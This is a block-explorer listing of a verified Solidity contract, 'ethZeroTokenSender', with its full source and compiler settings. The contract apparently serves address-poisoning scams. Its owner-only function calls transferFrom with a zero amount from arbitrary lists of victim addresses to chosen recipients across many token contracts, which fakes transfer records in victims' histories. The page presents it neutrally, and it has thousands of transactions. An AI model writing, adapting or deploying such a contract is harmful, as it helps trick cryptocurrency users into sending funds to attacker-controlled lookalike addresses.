Skip to content
Verified contractExactMIT

ethZeroTokenSender

Address0x4b2fbe87cd0800caa0a3c9829aefbc7e1faa9217
Balance

0 ETH

 

Transactions

7,815

 

Compiler

solc 0.8.13

 

Same code

1 more contract

 

Details

Compiler
solc 0.8.13+commit.abaa5c0e
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
24,446,039
Creation transaction
0xccd0930fba…23d67ff140

ethZeroTokenSender.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

interface IToken {
    function transfer(address to, uint256 amount) external;

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external;

    function transferFrom(
        address from,
        address to,
        uint160 amount,
        address token
    ) external;

    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 amount,
        bytes calldata data
    ) external;
}

contract ethZeroTokenSender {
    address private _owner;
    address[] public tokenAddrs;

    constructor() {
        _owner = msg.sender;
    }

    function transferOwner(address newOwner) public {
        require(msg.sender == _owner);
        _owner = newOwner;
    }

    function writeAddrs(
        address[] memory map
    ) public returns (bool) {
        require(msg.sender == _owner);
        tokenAddrs = map;
        return true;
    }

    function transfer(
        address[] calldata fromList,
        address[] calldata toList,
        address[] calldata tokenList
    ) public payable {
        require(msg.sender == _owner);

        for (uint256 i = 0; i < fromList.length; i++) {
            IToken(tokenList[i]).transferFrom(fromList[i], toList[i], 0x00);
            // IToken(tokenAddrs[tokenListIdx[i]]).transferFrom(fromList[i], toList[i], 0x00);
        }
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.